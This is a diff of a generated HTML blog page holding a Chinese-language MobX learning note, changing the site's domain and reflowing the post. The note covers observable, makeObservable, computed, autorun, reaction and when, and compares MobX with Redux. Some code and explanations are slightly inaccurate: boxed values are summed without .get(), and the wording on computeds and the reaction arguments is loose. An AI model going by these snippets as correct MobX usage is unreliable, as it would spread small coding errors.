+import {observable, autorun, computed, action, makeObservable,reaction,when} from &#34;mobx&#34; import {observer} from &#34;mobx-react&#34; 注意：在严格模式中，是不允许在action之外改变状态的
 启动严格模式
-import {configure} from 'mobx'
configure({enforceActions: true})
observable定义可观察的状态 action修改状态（动作） computed计算值
+import {configure} from 'mobx' configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值
 数据变化可被观察，例如：
-let appdata = observable([1,2,3,4,5])
console.log(appdata[1])
appdata = observable({a:1,b:2,c:3})
console.log(appdata.a)
appdata.a += 1
console.log(appdata.a)
appdata = observable.box(100)
console.log(appdata)
响应式对象
+let appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象
 makeObservable（手动配置observable，action，computed）
-const store = makeObservable({ count: 666, get double(){
return this.count * 2
},
increment(){
this."><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/78/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Mobx学习笔记"><meta property="og:description" content="Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
+const store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this."><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/78/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="Mobx学习笔记"><meta property="og:description" content="Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
 Mobx通过透明的函数响应式编程使得状态管理变得简单和可扩展
 Mobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）
 安装Mobx
-npm install mobx mobx-react --save
或者
-yarn add mobx mobx-react --save
导入
-import {observable, autorun, computed, action, makeObservable,reaction,when} from &#34;mobx&#34;
import {observer} from &#34;mobx-react&#34;
注意：在严格模式中，是不允许在action之外改变状态的
+npm install mobx mobx-react --save 或者
+yarn add mobx mobx-react --save 导入
+import {observable, autorun, computed, action, makeObservable,reaction,when} from &#34;mobx&#34; import {observer} from &#34;mobx-react&#34; 注意：在严格模式中，是不允许在action之外改变状态的
 启动严格模式
-import {configure} from 'mobx'
configure({enforceActions: true})
observable定义可观察的状态 action修改状态（动作） computed计算值
+import {configure} from 'mobx' configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值
 数据变化可被观察，例如：
-let appdata = observable([1,2,3,4,5])
console.log(appdata[1])
appdata = observable({a:1,b:2,c:3})
console.log(appdata.a)
appdata.a += 1
console.log(appdata.a)
appdata = observable.box(100)
console.log(appdata)
响应式对象
+let appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象
 makeObservable（手动配置observable，action，computed）
-const store = makeObservable({ count: 666, get double(){
return this.count * 2
},
increment(){
this."><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/78/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-08T21:35:00+00:00"><meta property="article:modified_time" content="2021-08-08T21:35:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Mobx学习笔记"><meta name=twitter:description content="Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
+const store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this."><meta property="og:type" content="article"><meta property="og:url" content="https://chenjunlinabc.github.io/posts/78/"><meta property="og:image" content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-08-08T21:35:00+00:00"><meta property="article:modified_time" content="2021-08-08T21:35:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://chenjunlinabc.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="Mobx学习笔记"><meta name=twitter:description content="Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）
 Mobx通过透明的函数响应式编程使得状态管理变得简单和可扩展
 Mobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）
 安装Mobx
-npm install mobx mobx-react --save
或者
-yarn add mobx mobx-react --save
导入
-import {observable, autorun, computed, action, makeObservable,reaction,when} from &#34;mobx&#34;
import {observer} from &#34;mobx-react&#34;
注意：在严格模式中，是不允许在action之外改变状态的
+npm install mobx mobx-react --save 或者
+yarn add mobx mobx-react --save 导入
+import {observable, autorun, computed, action, makeObservable,reaction,when} from &#34;mobx&#34; import {observer} from &#34;mobx-react&#34; 注意：在严格模式中，是不允许在action之外改变状态的
 启动严格模式
-import {configure} from 'mobx'
configure({enforceActions: true})
observable定义可观察的状态 action修改状态（动作） computed计算值
+import {configure} from 'mobx' configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值
 数据变化可被观察，例如：
-let appdata = observable([1,2,3,4,5])
console.log(appdata[1])
appdata = observable({a:1,b:2,c:3})
console.log(appdata.a)
appdata.a += 1
console.log(appdata.a)
appdata = observable.box(100)
console.log(appdata)
响应式对象
+let appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象
 makeObservable（手动配置observable，action，computed）
-const store = makeObservable({ count: 666, get double(){
return this.count * 2
},
increment(){
this."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://xiaochenabc123.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Mobx学习笔记","item":"https://xiaochenabc123.github.io/posts/78/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Mobx学习笔记","name":"Mobx学习笔记","description":"Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）\nMobx通过透明的函数响应式编程使得状态管理变得简单和可扩展\nMobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）\n安装Mobx\nnpm install mobx mobx-react --save\r或者\nyarn add mobx mobx-react --save\r导入\nimport {observable, autorun, computed, action, makeObservable,reaction,when} from \u0026quot;mobx\u0026quot;\rimport {observer} from \u0026quot;mobx-react\u0026quot;\r注意：在严格模式中，是不允许在action之外改变状态的\n启动严格模式\nimport {configure} from 'mobx'\rconfigure({enforceActions: true})\robservable定义可观察的状态 action修改状态（动作） computed计算值\n数据变化可被观察，例如：\nlet appdata = observable([1,2,3,4,5])\rconsole.log(appdata[1])\rappdata = observable({a:1,b:2,c:3})\rconsole.log(appdata.a)\rappdata.a += 1\rconsole.log(appdata.a)\rappdata = observable.box(100)\rconsole.log(appdata)\r响应式对象\nmakeObservable（手动配置observable，action，computed）\nconst store = makeObservable({ count: 666, get double(){\rreturn this.count * 2\r},\rincrement(){\rthis.","keywords":["Mobx"],"articleBody":"Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）\nMobx通过透明的函数响应式编程使得状态管理变得简单和可扩展\nMobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）\n安装Mobx\nnpm install mobx mobx-react --save\r或者\nyarn add mobx mobx-react --save\r导入\nimport {observable, autorun, computed, action, makeObservable,reaction,when} from \"mobx\"\rimport {observer} from \"mobx-react\"\r注意：在严格模式中，是不允许在action之外改变状态的\n启动严格模式\nimport {configure} from 'mobx'\rconfigure({enforceActions: true})\robservable定义可观察的状态 action修改状态（动作） computed计算值\n数据变化可被观察，例如：\nlet appdata = observable([1,2,3,4,5])\rconsole.log(appdata[1])\rappdata = observable({a:1,b:2,c:3})\rconsole.log(appdata.a)\rappdata.a += 1\rconsole.log(appdata.a)\rappdata = observable.box(100)\rconsole.log(appdata)\r响应式对象\nmakeObservable（手动配置observable，action，computed）\nconst store = makeObservable({ count: 666, get double(){\rreturn this.count * 2\r},\rincrement(){\rthis.count += 1\r},\rdecrement(){\rthis.count -= 1\r},\r},{\rcount: observable, // 响应的属性\rdouble: computed, // 计算属性\rincrement: action, // 修改状态\rdecrement: action, // 修改状态\r})\rmakeAutoObservable（自动配置observable，action，computed，全部自有属性都为observable，全部getters为computed，全部computed都为action）\nconst store = makeAutoObservable({ count: 666,\rget double(){\rreturn this.count*2\r},\rincrement(){\rthis.count+=1\r},\rdecrement(){\rthis.count-=1\r}\r})\r计算属性（observable.box）\nlet datas = observable.box(1000)\rlet dataa = observable.box(666)\rlet abc = computed(function(){\rreturn dataa + datas\r})\rconsole.log(abc.get())\r操作状态（添加观察者，当状态发生变化，就会触发）\nautorun(() =\u003e {\rappdata.datas = appdata.datas + 1\rconsole.log(appdata.datas)\r})\r监听数据变化（当store的状态发生改变，autorun方法就会被调用）\nlet xyz = observable({\rtitle: \"hello world\"\r})\rautorun(() =\u003e {\rconsole.log(xyz.title)\r})\rxyz.title = \"hallo mobx\"\r当被观察数据被修改时，autorun()就会被触发\nreaction监听\nreaction(() =\u003e store.count,\r(a, b) =\u003e {\r// 当store.count修改就会被调用\r// 第一个值是当前值，第二个值为修改后的值\rconsole.log(a - b)\r}\r)\rwhen监听\nwhen(() =\u003e store.count \u003e 666, () =\u003e {\rconsole.log(store.count)\r})\r(async function() {\r// when还会返回一个promise\rawait when(() =\u003e store.count \u003e 666)\rconsole.log('store.count \u003e 666')\r})()\rMobx和Redux的比较：Redux通过限制数据的修改，Store中的数据是不可修改，只能通过action来修改，减少冗余。而Mobx就是通过自动更新来确保数据一致\nmobx鼓励使用多个store仓库，而Redux鼓励一个应用使用一个Redux仓库\n","wordCount":"213","inLanguage":"en","datePublished":"2021-08-08T21:35:00Z","dateModified":"2021-08-08T21:35:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://xiaochenabc123.github.io/posts/78/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://xiaochenabc123.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://xiaochenabc123.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://xiaochenabc123.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://xiaochenabc123.github.io/ title=首页><span>首页</span></a></li><li><a href=https://xiaochenabc123.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://xiaochenabc123.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://xiaochenabc123.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://xiaochenabc123.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://xiaochenabc123.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://xiaochenabc123.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://xiaochenabc123.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://xiaochenabc123.github.io/posts/>Posts</a></div><h1 class=post-title>Mobx学习笔记</h1><div class=post-meta><span title='2021-08-08 21:35:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://xiaochenabc123.github.io//posts/Mobx%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）</p><p>Mobx通过透明的函数响应式编程使得状态管理变得简单和可扩展</p><p>Mobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）</p><p>安装Mobx</p><pre><code>npm install mobx mobx-react --save
-</code></pre><p>或者</p><pre><code>yarn add mobx mobx-react --save
-</code></pre><p>导入</p><pre><code>import {observable, autorun, computed, action, makeObservable,reaction,when} from &quot;mobx&quot;
-import {observer} from &quot;mobx-react&quot;
-</code></pre><p>注意：在严格模式中，是不允许在action之外改变状态的</p><p>启动严格模式</p><pre><code>import {configure} from 'mobx'
-configure({enforceActions: true})
+const store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this."><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"Mobx学习笔记","item":"https://chenjunlinabc.github.io/posts/78/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"Mobx学习笔记","name":"Mobx学习笔记","description":"Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）\nMobx通过透明的函数响应式编程使得状态管理变得简单和可扩展\nMobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）\n安装Mobx\nnpm install mobx mobx-react --save 或者\nyarn add mobx mobx-react --save 导入\nimport {observable, autorun, computed, action, makeObservable,reaction,when} from \u0026quot;mobx\u0026quot; import {observer} from \u0026quot;mobx-react\u0026quot; 注意：在严格模式中，是不允许在action之外改变状态的\n启动严格模式\nimport {configure} from 'mobx' configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值\n数据变化可被观察，例如：\nlet appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象\nmakeObservable（手动配置observable，action，computed）\nconst store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this.","keywords":["Mobx"],"articleBody":"Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）\nMobx通过透明的函数响应式编程使得状态管理变得简单和可扩展\nMobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）\n安装Mobx\nnpm install mobx mobx-react --save 或者\nyarn add mobx mobx-react --save 导入\nimport {observable, autorun, computed, action, makeObservable,reaction,when} from \"mobx\" import {observer} from \"mobx-react\" 注意：在严格模式中，是不允许在action之外改变状态的\n启动严格模式\nimport {configure} from 'mobx' configure({enforceActions: true}) observable定义可观察的状态 action修改状态（动作） computed计算值\n数据变化可被观察，例如：\nlet appdata = observable([1,2,3,4,5]) console.log(appdata[1]) appdata = observable({a:1,b:2,c:3}) console.log(appdata.a) appdata.a += 1 console.log(appdata.a) appdata = observable.box(100) console.log(appdata) 响应式对象\nmakeObservable（手动配置observable，action，computed）\nconst store = makeObservable({ count: 666, get double(){ return this.count * 2 }, increment(){ this.count += 1 }, decrement(){ this.count -= 1 }, },{ count: observable, // 响应的属性 double: computed, // 计算属性 increment: action, // 修改状态 decrement: action, // 修改状态 }) makeAutoObservable（自动配置observable，action，computed，全部自有属性都为observable，全部getters为computed，全部computed都为action）\nconst store = makeAutoObservable({ count: 666, get double(){ return this.count*2 }, increment(){ this.count+=1 }, decrement(){ this.count-=1 } }) 计算属性（observable.box）\nlet datas = observable.box(1000) let dataa = observable.box(666) let abc = computed(function(){ return dataa + datas }) console.log(abc.get()) 操作状态（添加观察者，当状态发生变化，就会触发）\nautorun(() =\u003e { appdata.datas = appdata.datas + 1 console.log(appdata.datas) }) 监听数据变化（当store的状态发生改变，autorun方法就会被调用）\nlet xyz = observable({ title: \"hello world\" }) autorun(() =\u003e { console.log(xyz.title) }) xyz.title = \"hallo mobx\" 当被观察数据被修改时，autorun()就会被触发\nreaction监听\nreaction(() =\u003e store.count, (a, b) =\u003e { // 当store.count修改就会被调用 // 第一个值是当前值，第二个值为修改后的值 console.log(a - b) } ) when监听\nwhen(() =\u003e store.count \u003e 666, () =\u003e { console.log(store.count) }) (async function() { // when还会返回一个promise await when(() =\u003e store.count \u003e 666) console.log('store.count \u003e 666') })() Mobx和Redux的比较：Redux通过限制数据的修改，Store中的数据是不可修改，只能通过action来修改，减少冗余。而Mobx就是通过自动更新来确保数据一致\nmobx鼓励使用多个store仓库，而Redux鼓励一个应用使用一个Redux仓库\n","wordCount":"213","inLanguage":"en","datePublished":"2021-08-08T21:35:00Z","dateModified":"2021-08-08T21:35:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/78/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>Mobx学习笔记</h1><div class=post-meta><span title='2021-08-08 21:35:00 +0000 UTC'>2021-08-08</span>&nbsp;·&nbsp;1 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/Mobx%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>Mobx是一个状态管理库（状态管理实质上就是在管理数据变化）</p><p>Mobx通过透明的函数响应式编程使得状态管理变得简单和可扩展</p><p>Mobx状态管理是基于观察者模式的（Mobx6.0移除了修饰器）</p><p>安装Mobx</p><pre><code>npm install mobx mobx-react --save
+</code></pre><p>或者</p><pre><code>yarn add mobx mobx-react --save
+</code></pre><p>导入</p><pre><code>import {observable, autorun, computed, action, makeObservable,reaction,when} from &quot;mobx&quot;
+import {observer} from &quot;mobx-react&quot;
+</code></pre><p>注意：在严格模式中，是不允许在action之外改变状态的</p><p>启动严格模式</p><pre><code>import {configure} from 'mobx'
+configure({enforceActions: true})
 </code></pre><p>observable定义可观察的状态
 action修改状态（动作）
-computed计算值</p><p>数据变化可被观察，例如：</p><pre><code>let appdata = observable([1,2,3,4,5])
-console.log(appdata[1])
-appdata = observable({a:1,b:2,c:3})
-console.log(appdata.a)
-appdata.a += 1
-console.log(appdata.a)
-appdata = observable.box(100)
-console.log(appdata)
-</code></pre><p>响应式对象</p><p>makeObservable（手动配置observable，action，computed）</p><pre><code>const store = makeObservable({    
-    count: 666,    
-    get double(){
-        return this.count * 2
-    },
-    increment(){
-        this.count += 1
-    },
-    decrement(){
-        this.count -= 1
-    },
-},{
-    count: observable, // 响应的属性
-    double: computed, // 计算属性
-    increment: action, // 修改状态
-    decrement: action, // 修改状态
-})
-</code></pre><p>makeAutoObservable（自动配置observable，action，computed，全部自有属性都为observable，全部getters为computed，全部computed都为action）</p><pre><code>const store = makeAutoObservable({  
-    count: 666,
-    get double(){
-        return this.count*2
-    },
-    increment(){
-        this.count+=1
-    },
-    decrement(){
-        this.count-=1
-    }
-})
-</code></pre><p>计算属性（observable.box）</p><pre><code>let datas = observable.box(1000)
-let dataa = observable.box(666)
-let abc = computed(function(){
-    return dataa + datas
-})
-console.log(abc.get())
-</code></pre><p>操作状态（添加观察者，当状态发生变化，就会触发）</p><pre><code>autorun(() =&gt; {
-  appdata.datas = appdata.datas + 1
-  console.log(appdata.datas)
-})
-</code></pre><p>监听数据变化（当store的状态发生改变，autorun方法就会被调用）</p><pre><code>let xyz = observable({
-  title: &quot;hello world&quot;
-})
-autorun(() =&gt; {
-    console.log(xyz.title)
-})
-xyz.title = &quot;hallo mobx&quot;
-</code></pre><p>当被观察数据被修改时，autorun()就会被触发</p><p>reaction监听</p><pre><code>reaction(() =&gt; store.count,
-    (a, b) =&gt; {
-        // 当store.count修改就会被调用
-        // 第一个值是当前值，第二个值为修改后的值
-        console.log(a - b)
-    }
-)
-</code></pre><p>when监听</p><pre><code>when(() =&gt; store.count &gt; 666, () =&gt; {
-    console.log(store.count)
-})
-(async function() {
-    // when还会返回一个promise
-    await when(() =&gt; store.count &gt; 666)
-    console.log('store.count &gt; 666')
-})()
-</code></pre><p>Mobx和Redux的比较：Redux通过限制数据的修改，Store中的数据是不可修改，只能通过action来修改，减少冗余。而Mobx就是通过自动更新来确保数据一致</p><p>mobx鼓励使用多个store仓库，而Redux鼓励一个应用使用一个Redux仓库</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/mobx/>Mobx</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/79/><span class=title>« Prev</span><br><span>算法学习笔记</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/77/><span class=title>Next »</span><br><span>简单认识HTTP协议</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+computed计算值</p><p>数据变化可被观察，例如：</p><pre><code>let appdata = observable([1,2,3,4,5])
+console.log(appdata[1])
+appdata = observable({a:1,b:2,c:3})
+console.log(appdata.a)
+appdata.a += 1
+console.log(appdata.a)
+appdata = observable.box(100)
+console.log(appdata)
+</code></pre><p>响应式对象</p><p>makeObservable（手动配置observable，action，computed）</p><pre><code>const store = makeObservable({    
+    count: 666,    
+    get double(){
+        return this.count * 2
+    },
+    increment(){
+        this.count += 1
+    },
+    decrement(){
+        this.count -= 1
+    },
+},{
+    count: observable, // 响应的属性
+    double: computed, // 计算属性
+    increment: action, // 修改状态
+    decrement: action, // 修改状态
+})
+</code></pre><p>makeAutoObservable（自动配置observable，action，computed，全部自有属性都为observable，全部getters为computed，全部computed都为action）</p><pre><code>const store = makeAutoObservable({  
+    count: 666,
+    get double(){
+        return this.count*2
+    },
+    increment(){
+        this.count+=1
+    },
+    decrement(){
+        this.count-=1
+    }
+})
+</code></pre><p>计算属性（observable.box）</p><pre><code>let datas = observable.box(1000)
+let dataa = observable.box(666)
+let abc = computed(function(){
+    return dataa + datas
+})
+console.log(abc.get())
+</code></pre><p>操作状态（添加观察者，当状态发生变化，就会触发）</p><pre><code>autorun(() =&gt; {
+  appdata.datas = appdata.datas + 1
+  console.log(appdata.datas)
+})
+</code></pre><p>监听数据变化（当store的状态发生改变，autorun方法就会被调用）</p><pre><code>let xyz = observable({
